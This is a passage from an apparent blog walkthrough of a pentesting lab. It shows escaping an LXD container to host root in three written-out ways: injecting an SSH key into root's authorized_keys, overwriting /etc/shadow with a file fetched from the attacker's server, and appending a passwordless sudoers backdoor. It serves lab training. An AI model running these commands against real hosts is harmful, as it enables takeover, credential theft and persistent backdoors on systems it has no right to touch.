<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/ec46b988-df83-44f5-8dd1-7f96904c3149.png" alt="Pasted image 20260815213720" style="display:block;margin:0 auto" />

<p>Here I am root, but here is the catch, I am root in the Alpine image, which is running in Docker. We can check this using the <code>hostname</code> command</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/0bf36855-5c4b-4161-b1e2-2bec4b960414.png" alt="Pasted image 20260815213953" style="display:block;margin:0 auto" />

<p>Here, the hostname is <code>ignite</code> but the victim machine hostname is <code>ip-10-49-128-145</code></p>
<p>In the OSCP exam, this is not allowed. It is mandatory that we should have access to the host machine's root user. There are multiple ways we can achieve that, and we are going to cover them all</p>
<ul>
<li><p><strong>SSH Keys:</strong> Write your public key to <code>/mnt/root/root/.ssh/authorized_keys</code> to gain direct SSH access as root over the network.</p>
</li>
<li><p><strong>Shadow File:</strong> Read <code>/mnt/root/etc/shadow</code> to crack the root password offline, or simply generate a new hash and overwrite it.</p>
</li>
<li><p><strong>Sudoers:</strong> Modify <code>/mnt/root/etc/sudoers</code> to grant the compromised low-privilege user password-less <code>sudo</code> rights.</p>
</li>
</ul>
<h3>Escaping the Container to the Host</h3>
<h4>Technique 1: Injecting SSH Keys</h4>
<h4>On Victim Machine</h4>
<blockquote>
<p>From now on, when we go to <code>/mnt/root/root</code>, we are actually in <code>/root</code> of the victim machine.</p>
</blockquote>
<pre><code class="language-bash">cd /mnt/root/root
ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/06ba7ca1-104a-49d3-b218-0551f3b1d965.png" alt="Pasted image 20260815215127" style="display:block;margin:0 auto" />

<p>Got the .ssh directory</p>
<pre><code class="language-bash">cd .ssh
ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/5ee00343-7247-4980-b5d4-76be4970d534.png" alt="Pasted image 20260815231926" style="display:block;margin:0 auto" />

<pre><code class="language-bash">cat authorized_keys
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/836e5e31-d204-470e-a844-1d41c43e8679.png" alt="Pasted image 20260815232009" style="display:block;margin:0 auto" />

<p>The highlighted text in the <code>authorized_keys</code> file is an SSH restriction block that explicitly prevents direct root login using that specific SSH key. This is a common default configuration on cloud environments like AWS(this VM is hosted on AWS).</p>
<p>We can confirm that from the SSH configuration file.</p>
<pre><code class="language-bash">cat /mnt/root/etc/ssh/sshd_config | grep PermitRootLogin
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/e068e481-3051-482a-a788-9c12bd192090.png" alt="Pasted image 20260815232038" style="display:block;margin:0 auto" />

<p>This setting completely prevents the <code>root</code> user from logging in with a password over SSH. Even if you cracked the root password, the SSH server would reject the login.</p>
<p>A reliable workaround for these password restrictions is to generate a new SSH key pair on the attacker machine using <code>ssh-keygen</code>. By appending the resulting public key directly into the victim's mounted <code>authorized_keys</code> file, we manually authorize our own access. We can then bypass the password prompt entirely and SSH into the target machine as that user by authenticating with our corresponding private key.</p>
<p>Since our earlier deep Nmap scan revealed that the target supports <code>ED25519</code> keys, we can use <code>ssh-keygen -t ed25519</code> on our attacker machine to generate a compatible key pair.</p>
<h4>On Local Machine</h4>
<pre><code class="language-bash">cd ~/.ssh
ssh-keygen -t ed25519
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/cd47b608-2288-49fd-8d72-3bb6d646647c.png" alt="Pasted image 20260815214745" style="display:block;margin:0 auto" />

<pre><code class="language-bash">ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/adde3582-eb86-409d-83a4-22535a374829.png" alt="Pasted image 20260815214843" style="display:block;margin:0 auto" />

<pre><code class="language-bash">cat id_ed25519.pub 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/eaa52f3c-cdb6-4023-af4f-58beb701d36f.png" alt="Pasted image 20260815214900" style="display:block;margin:0 auto" />

<p>Copy the key to <code>/mnt/root/root/.ssh/authorized_keys</code> from the Alpine <code>/bin/sh</code> <code>#</code> prompt.</p>
<h4>On Victim Machine</h4>
<pre><code class="language-bash">echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFwClSdCU6VOPhDeL9YxB8DnWk6WX2IEsTfaeiazJeH kali@kali' &gt;&gt; /mn
t/root/root/.ssh/authorized_keys

cat authorized_keys
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/15dc027e-1dde-4ec7-a60a-58593d3dcee7.png" alt="Pasted image 20260815232259" style="display:block;margin:0 auto" />

<h4>On Local Machine</h4>
<p>Since we wrote our public key into <code>root</code>'s <code>.ssh</code> directory via the mounted filesystem, we can finally bypass the password restriction and log in as root using our private key.</p>
<pre><code class="language-bash">ssh -i id_ed25519 root@10.49.128.145
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/0ba89a3f-a5d9-4113-807c-a5ad585b8e0c.png" alt="Pasted image 20260815232433" style="display:block;margin:0 auto" />

<blockquote>
<p>I am root now. 🎉🎉</p>
</blockquote>
<h4>Technique 2: Overwriting the Shadow File</h4>
<h4>On Victim Machine</h4>
<p>In Linux, the /etc/shadow file securely stores the password hashes for all user accounts present on the system.</p>
<p>Let's read the shadow file.</p>
<pre><code class="language-bash">cat /mnt/root/etc/shadow
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/0a47a09c-e296-4fb8-a461-2ef88ded76d3.png" alt="Pasted image 20260815232600" style="display:block;margin:0 auto" />

<p>Here, <code>!</code> means the root account's password is locked or unset. This completely disables password-based logins for the root user, which is why we must generate a new password hash on our attacker machine and overwrite this <code>!</code> character to forcefully enable access.</p>
<p>We can use <code>openssl</code> on the victim machine to generate the password hash.
First, exit from the Alpine <code>/bin/sh</code> <code>#</code> prompt by typing the <code>exit</code> command.</p>
<pre><code class="language-bash">openssl passwd 12345
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/795a9e17-e810-43d8-8d7d-f3cd1fb2c056.png" alt="Pasted image 20260815232822" style="display:block;margin:0 auto" />

<h4>On Local Machine</h4>
<p>Copy and paste the whole shadow file to the local machine and replace the <code>!</code> with the <code>openssl</code> generated hash of <code>12345</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/2b8c839d-2ec2-45cd-8e86-dd5185404d99.png" alt="Pasted image 20260815232921" style="display:block;margin:0 auto" />

<p>Save the file named <code>shadow</code> and open a python http server on our local attacker machine.</p>
<pre><code class="language-bash">python -m http.server 80
</code></pre>
<h4>On Victim Machine</h4>
<p>Download the modified shadow file on the victim machine using <code>wget</code> and save it in <code>kay</code>'s home directory.</p>
<pre><code class="language-bash">wget http://192.168.159.84/shadow -O shadow
ls -al
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/b717403a-f8fd-4dd0-9a06-2bae1fbc89c1.png" alt="Pasted image 20260815233137" style="display:block;margin:0 auto" />

<p>Then start the Alpine <code>/bin/sh</code> again.</p>
<pre><code class="language-bash">lxc exec ignite /bin/sh
</code></pre>
<p>Got the <code>#</code> prompt.
Copy the shadow file from <code>kay</code>'s home directory to <code>/etc/shadow</code> of the victim machine's host os.</p>
<pre><code class="language-bash">cp /mnt/root/home/kay/shadow /mnt/root/etc/shadow
cat /mnt/root/etc/shadow
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/8935bceb-8600-401d-a6f5-0d557ae90ae6.png" alt="Pasted image 20260815233308" style="display:block;margin:0 auto" />

<p>Then exit from the Alpine <code>/bin/sh</code> <code>#</code> prompt by typing the <code>exit</code> command.</p>
<pre><code class="language-bash">exit
</code></pre>
<p>Then switch the user to <code>root</code> and type the password <code>12345</code> and it works.</p>
<pre><code class="language-bash">su root
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/6e0d6fc5-257b-4fcd-af90-d5f646551517.png" alt="Pasted image 20260815233411" style="display:block;margin:0 auto" />

<blockquote>
<p>I am root now. 🎉🎉</p>
</blockquote>
<h4>Technique 3: Modifying the Sudoers File</h4>
<p>The <code>/etc/sudoers</code> file acts as the master rulebook for the sudo command in Linux. It defines exactly which users or groups are granted elevated administrative privileges and what specific commands they are permitted to execute.</p>
<p>Appending <code>ALL ALL=(ALL:ALL) NOPASSWD: ALL</code> to the <code>/etc/sudoers</code> file creates a massive privilege escalation backdoor.</p>
<p>Here is a breakdown of exactly what this line does:</p>
<ul>
<li><p><code>ALL</code> (First): Applies to every single user account on the system.</p>
</li>
<li><p><code>ALL=</code>: Applies to commands run from any host or terminal.</p>
</li>
<li><p><code>(ALL:ALL)</code>: Allows the commands to be executed as any target user and any target group (including root).</p>
</li>
<li><p><code>NOPASSWD: ALL</code>: Grants the ability to execute any command without ever being prompted for a password.</p>
</li>
</ul>
<p>It will override existing rules, provided you place it at the bottom of the file.</p>
<p>The <code>/etc/sudoers</code> file is parsed sequentially from top to bottom, meaning the last matching rule takes precedence. By appending this line to the very end of the file, it nullifies any earlier, more restrictive configurations. Once written, any compromised low-level account on the machine can simply run sudo su to instantly drop into a root shell without needing a password.</p>
<p>For that first, we check what is written in the sudoers file.</p>
<pre><code class="language-bash">cat /mnt/root/etc/sudoers
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/273944e4-81c1-4014-a363-544b6859bdc7.png" alt="Pasted image 20260815233548" style="display:block;margin:0 auto" />

<p>The configuration shows that any member of the sudo group can execute any command using sudo, provided they authenticate with their own password.</p>
<p>Here we want to add this line <code>ALL  ALL=(ALL:ALL) NOPASSWD: ALL</code> so that any user can run anything with sudo without a password.</p>
<pre><code class="language-bash">echo 'ALL  ALL=(ALL:ALL) NOPASSWD: ALL' &gt;&gt; /mnt/root/etc/sudoers
cat /mnt/root/etc/sudoers
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/78cbd297-3d73-4c29-8eb8-4b2b2d9fc3d3.png" alt="Pasted image 20260815233659" style="display:block;margin:0 auto" />

<p>Then exit from the Alpine <code>/bin/sh</code> <code>#</code> prompt by typing the <code>exit</code> command.</p>
<pre><code class="language-bash">exit
</code></pre>
<p>Now let's check our sudo privileges now.</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<p>We can see our newly added privileges that we can run anything with <code>sudo</code> privileges without a password. </p>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a8fcc994-41b0-4d44-88cc-1aa34ade763f.png" alt="Pasted image 20260815233802" style="display:block;margin:0 auto" />

<p>let's switch the user to <code>root</code> and it works without a password.</p>
<pre><code class="language-bash">sudo su
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/be7d14f5-6476-42f5-8c61-521e449d2bae.png" alt="Pasted image 20260815233827" style="display:block;margin:0 auto" />

<blockquote>
<p>I am root now. 🎉🎉</p>
</blockquote>
<h1>5. Post-Exploitation</h1>
<h2>Reading the Root Flag</h2>
<pre><code class="language-bash">cd /mnt/root/root
ls
cat flag.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/36c1f16b-3390-4e90-890a-3d8d6cd7df03.png" alt="Pasted image 20260815233908" style="display:block;margin:0 auto" />

<h1>6. Conclusion &amp; Key Takeaways</h1>
<p>This Basic Pentesting lab serves as an excellent environment for practicing both foundational enumeration and advanced post-exploitation techniques. By exploring two distinct paths for initial access—brute-forcing a weak SSH credential and exploiting an unpatched Apache Struts REST vulnerability (CVE-2017-9805)—we see how easily an initial foothold can be established. The privilege escalation phase further highlights the critical dangers of misconfigured user groups. By abusing LXD/LXC container rights to mount the host's root directory, we demonstrated how an attacker can effortlessly bypass intended restrictions, manipulate <code>authorized_keys</code>, and rewrite core files like <code>/etc/sudoers</code> or <code>/etc/shadow</code> to achieve full system compromise.</p>
]]></content:encoded></item></channel></rss>